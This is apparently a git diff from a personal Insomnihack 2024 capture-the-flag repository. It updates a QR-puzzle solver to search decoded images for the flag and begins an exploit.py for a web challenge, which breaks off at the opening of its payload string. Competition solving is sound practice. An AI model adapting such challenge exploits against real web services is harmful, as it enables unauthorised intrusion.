diff --git a/.gitignore b/.gitignore index c7ef092..5f332fa 100644 --- a/.gitignore +++ b/.gitignore @@ -12,3 +12,5 @@ insomnihack24/mobile/CryptoTest/out/ insomnihack24/misc/puzzled/solutions/ insomnihack24/misc/puzzled/pieces/ + +insomnihack24/web/mathematical/.venv/ diff --git a/insomnihack24/.DS_Store b/insomnihack24/.DS_Store index e28663e..a1de328 100644 Binary files a/insomnihack24/.DS_Store and b/insomnihack24/.DS_Store differ diff --git a/insomnihack24/misc/.DS_Store b/insomnihack24/misc/.DS_Store new file mode 100644 index 0000000..b889d56 Binary files /dev/null and b/insomnihack24/misc/.DS_Store differ diff --git a/insomnihack24/misc/puzzled/.DS_Store b/insomnihack24/misc/puzzled/.DS_Store new file mode 100644 index 0000000..bd08d8a Binary files /dev/null and b/insomnihack24/misc/puzzled/.DS_Store differ diff --git a/insomnihack24/misc/puzzled/puzzled.py b/insomnihack24/misc/puzzled/puzzled.py old mode 100644 new mode 100755 index 5e7b277..1f17e57 --- a/insomnihack24/misc/puzzled/puzzled.py +++ b/insomnihack24/misc/puzzled/puzzled.py @@ -1,7 +1,10 @@ +#!/Users/cato/Code/Cato447/ctf/insomnihack24/misc/puzzled/.venv/bin/python3 + from PIL import Image import random import itertools from pyzbar.pyzbar import decode +import re def cutPieces(image_path, output_name_scheme): @@ -10,7 +13,7 @@ def cutPieces(image_path, output_name_scheme): # Get the size of the image width, height = original_image.size - assert (width == height) + assert width == height # Calculate the size of each grid cell cell_width = width // 3 @@ -60,7 +63,7 @@ def generateQRCodes(topLeft, topRight, bottomLeft, pieces): i += 1 -def decodeQRCode(image_path): +def decodeQRCode(image_path) -> str | None: image = Image.open(image_path) # Decode the QR code @@ -70,8 +73,9 @@ def decodeQRCode(image_path): if decoded_objects: # Iterate through all the detected QR codes and print their data for obj in decoded_objects: - print("Data:", obj.data.decode('utf-8')) - print("Type:", obj.type) + return obj.data.decode("utf-8") + else: + return None def shuffle3x3GridImage(image_path, output_path): @@ -80,7 +84,7 @@ def shuffle3x3GridImage(image_path, output_path): # Get the size of the image width, height = original_image.size - assert (width == 234 and height == 234) + assert width == 234 and height == 234 # Calculate the size of each grid cell cell_width = width // 3 @@ -121,6 +125,15 @@ def shuffle3x3GridImage(image_path, output_path): # cutPieces("puzzledVersion25QRcode.png", "puzzledVersion25QRcode_piece{}.png") +flag_pattern = r"INS{.*}" +pattern = re.compile(flag_pattern) + paths = [f"solutions/possible_qr{i}.png" for i in range(720)] for path in paths: - decodeQRCode(path) + data = decodeQRCode(path) + if data is None: + continue + possible_flag = pattern.search(data) + if possible_flag: + print(possible_flag.group()) + break diff --git a/insomnihack24/pwn/promis/.gitignore b/insomnihack24/pwn/promis/.gitignore index 931c339..2bd73a3 100644 --- a/insomnihack24/pwn/promis/.gitignore +++ b/insomnihack24/pwn/promis/.gitignore @@ -4,3 +4,4 @@ libc.so.6 gadgets.txt dump.txt promis_patched +*.bndb diff --git a/insomnihack24/web/mathematical/.gitignore b/insomnihack24/web/mathematical/.gitignore new file mode 100644 index 0000000..3580de3 --- /dev/null +++ b/insomnihack24/web/mathematical/.gitignore @@ -0,0 +1,7 @@ +php/ +www/ +docker-compose.yml +.venv/ +flag.txt +Dockerfile + diff --git a/insomnihack24/web/mathematical/deploy-docker.sh b/insomnihack24/web/mathematical/deploy-docker.sh new file mode 100755 index 0000000..b0836e9 --- /dev/null +++ b/insomnihack24/web/mathematical/deploy-docker.sh @@ -0,0 +1,3 @@ +docker-compose rm +docker-compose up -d +docker rmi php_web -f diff --git a/insomnihack24/web/mathematical/exploit.py b/insomnihack24/web/mathematical/exploit.py new file mode 100644 index 0000000..662deb3 --- /dev/null +++ b/insomnihack24/web/mathematical/exploit.py @@ -0,0 +1,21 @@ +#! /usr/bin/env python3 + +import requests + +s = requests.Session() + +payload = """(<<